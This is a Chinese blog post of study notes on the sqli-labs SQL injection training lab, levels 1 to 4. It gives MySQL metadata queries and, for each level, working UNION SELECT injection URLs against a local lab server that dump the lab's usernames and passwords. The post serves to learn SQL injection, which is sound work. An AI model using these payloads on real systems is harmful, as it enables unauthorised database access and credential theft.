【sqli-labs】Less1~Less4

学习sql注入啦,一下都是我做sqli-labs时的笔记。可能有错误,如果有人发现了欢迎指正~~

常用知识点:

1.mysql注释有三种:① #: 注释从#到行尾

② --空格: 注释到行尾,注意--后必须有空格

③/**/ :注释/* 到 */的内容

2.查询用户数据库名称

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMA LIMIT 0,1

3.查询当前数据库表

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1

4.查询指定表的所有字段

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘xxx‘ LIMIT 0,1

5.联合查询

select id, username, password from users union select 1,2,3

6.将多行结果拼成一行GROUP_CONCAT

select group_concat(user) from table limit 0, 1

用group_concat可把多个结果拼成一行。这样,如果只有一个显示位也可以显示所有信息

7.将多个字段拼成一个字段CONCAT

select concat(username, passwd) from table

Less-1: 有错误信息,单引号

基础语句:http://127.0.0.1/sqli-labs/Less-1/?id=

1.测试id类型是否为字符串,用单引号‘测试

http://127.0.0.1/sqli-labs/Less-1/?id=‘

提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘‘‘ LIMIT 0,1‘ at line 1

出现了‘‘‘,说明id为字符串类型

2.测试查询时有几个字段, 用union,经测试有3段,且2,3段会展示

http://127.0.0.1/sqli-labs/Less-1/?id=‘ union select 1,2,3 -- ahttp://127.0.0.1/sqli-labs/Less-1/?id=%27%20union%20select%201,2,3%20--%20a

3.查询数据库中的数据

①查询数据库中的所有表信息

http://127.0.0.1/sqli-labs/Less-1/?id=‘ union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a

结果:Your Login name:emails,referers,uagents,users

说明有四张表

②查看users表中的所有字段

http://127.0.0.1/sqli-labs/Less-1/?id=‘ union select 1, GROUP_CONCAT(COLUMN_NAME),3 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘users‘ LIMIT 0,1 -- a

结果:Your Login name:id,username,password

③查询所有的用户名密码

http://127.0.0.1/sqli-labs/Less-1/?id=‘ union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users LIMIT 0,1 -- a

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,[email protected],crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

疑问:

为什么注释用-- a可以,用#就不可以?

Less-2: 错误,整数

①测试id类型

http://127.0.0.1/sqli-labs/Less-2/?id=‘

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘ LIMIT 0,1‘ at line 1

报错了只有‘ LIMIT 0,1,说明id是数字型的,没有其他引号包裹

②查询所有用户名和密码,加入了order by 保证显示的是所有内容。中间步骤跟第一题相同,略过。

http://127.0.0.1/sqli-labs/Less-2/?id=3 union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

Less-3: 错误,有干扰的字符串

①测试id类型

http://127.0.0.1/sqli-labs/Less-3/?id=‘

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘‘‘) LIMIT 0,1‘ at line 1

与第一题的不同之处在于id后面还有个括号,可以推断其id的写法是 id = (‘3‘) 这种格式。所以在构造sql时,除了要注意闭合引号,还要注意闭合括号。

②查询所有用户名和密码

http://127.0.0.1/sqli-labs/Less-3/?id=3‘) union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

Less-4:错误,双引号

①测试id类型

http://127.0.0.1/sqli-labs/Less-4/?id=‘

结果正常输出,继续测试,这里偷懒了,根据名称直接试了双引号

http://127.0.0.1/sqli-labs/Less-4/?id="

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘""") LIMIT 0,1‘ at line 1

说明id是字符串,且写法为id = ("3")

②获取所有用户名密码,闭合双引号和括号即可

http://127.0.0.1/sqli-labs/Less-4/?id=3") union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a
时间: 2024-10-09 01:31:59

【sqli-labs】Less1~Less4的相关文章

Sqli labs系列-less-1 详细篇

要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://

60款开源云应用【Part 1】(60 Open Source Apps You Can Use in the Cloud)

60款开源云应用[Part 1](60 Open Source Apps You Can Use in the Cloud) 本篇翻译自http://www.datamation.com/open-source/60-open-source-apps-you-can-use-in-the-cloud-1.html,原作者Cynthia Harvey,翻译者hcbbt,转载请注明. 本人对云服务也是没有了解太多,希望能借助这篇文章涨涨姿势,顺便练习一下英文,如果有翻译错误希望能指出,欢迎交流- 如

【codeforces 718E】E. Matvey's Birthday

题目大意&链接: http://codeforces.com/problemset/problem/718/E 给一个长为n(n<=100 000)的只包含‘a’~‘h’8个字符的字符串s.两个位置i,j(i!=j)存在一条边,当且仅当|i-j|==1或s[i]==s[j].求这个无向图的直径,以及直径数量. 题解:  命题1:任意位置之间距离不会大于15. 证明:对于任意两个位置i,j之间,其所经过每种字符不会超过2个(因为相同字符会连边),所以i,j经过节点至多为16,也就意味着边数至多

【c/c++】内存分配大小

测试平台:linux 32位系统 用sizeof()运算符计算分配空间大小.单位:字节 1. 数组名与变量名的区别 int main() { char q[] = "hello"; cout << "q:" << sizeof(q) << endl; char *mq = q; cout << "mq:" << sizeof(mq) << endl; const char *

【 js 基础 】Javascript “继承”

是时候写一写 "继承"了,为什么加引号,因为当你阅读完这篇文章,你会知道,说是 继承 其实是不准确的. 一.类1.传统的面向类的语言中的类:类/继承 描述了一种代码的组织结构形式.举个例子:"汽车"可以被看作是"交通工具"的一种特例.我们可以定义一个 Vehicle 类和一个 Car 类来对这种关系进行描述.Vehicle 的定义可能包含引擎.载人能力等,也就是 所有交通工具,比如飞机.火车和汽车等都有的通用的功能描述.在对 Car 类进行定义的

服务 Service【经典案例】

2017-1-19 Activity public class MainActivity extends ListActivity {     private boolean flag;//线程结束条件     public static final String ACTION_TEST_SERVICE = "com.bqt.service.TEST_SERVICE";     private MyServiceConnection conn;     private IBinderI

【N版】openstack——走进云计算(一)

[N版]openstack--走进云计算 一.云计算 云计算是一种按使用量付费的模式,这种模式提供可用的.便捷的.按需的网络访问,进入可配置的计算资源共享池(资源包括:网络.服务器.存储.应用软件.服务),这些资源能够被快速提供,只需投入很少的管理工作,或与服务供应商进行很少的交互. 1.1云计算的特点和优势 1)云计算是一种使用模式 2)云计算必须通过网络访问 3)弹性计算,按需付费 1.2在云计算之前的模式或技术 1)IDC托管 2)IDC租用 3)虚拟主机(卖空间的) 4)VPS:虚拟专用

【N版】openstack——认证服务keystone(三)

[N版]openstack--认证服务keystone 一.keystone介绍 1.1keystone Keystone(OpenStack Identity Service)是 OpenStack 框架中负责管理身份验证.服务规则和服务令牌功能的模块.用户访问资源需要验证用户的身份与权限,服务执行操作也需要进行权限检测,这些都需要通过 Keystone 来处理. 用户认证:用户权限与用户行为跟踪 服务目录:提供一个服务目录,包括所有服务项与相关API的端点 主要涉及如下概念: User:  

【N版】openstack——镜像服务glance(四)

[N版]openstack--镜像服务glance 一.openstack之glance镜像服务 1.1glance介绍 glance主要是由三部分组成 glance-api:接收云系统镜像的创建,删除,读取请求,类似nova-api,通过其他模块(glance-registry及image store)来完成诸如镜像的查找.获取.上传.删除等操作,api监听端口9292. glance-registry:云系统的镜像注册服务,用于与mysql数据库交互,存储或获取镜像的元数据(metadata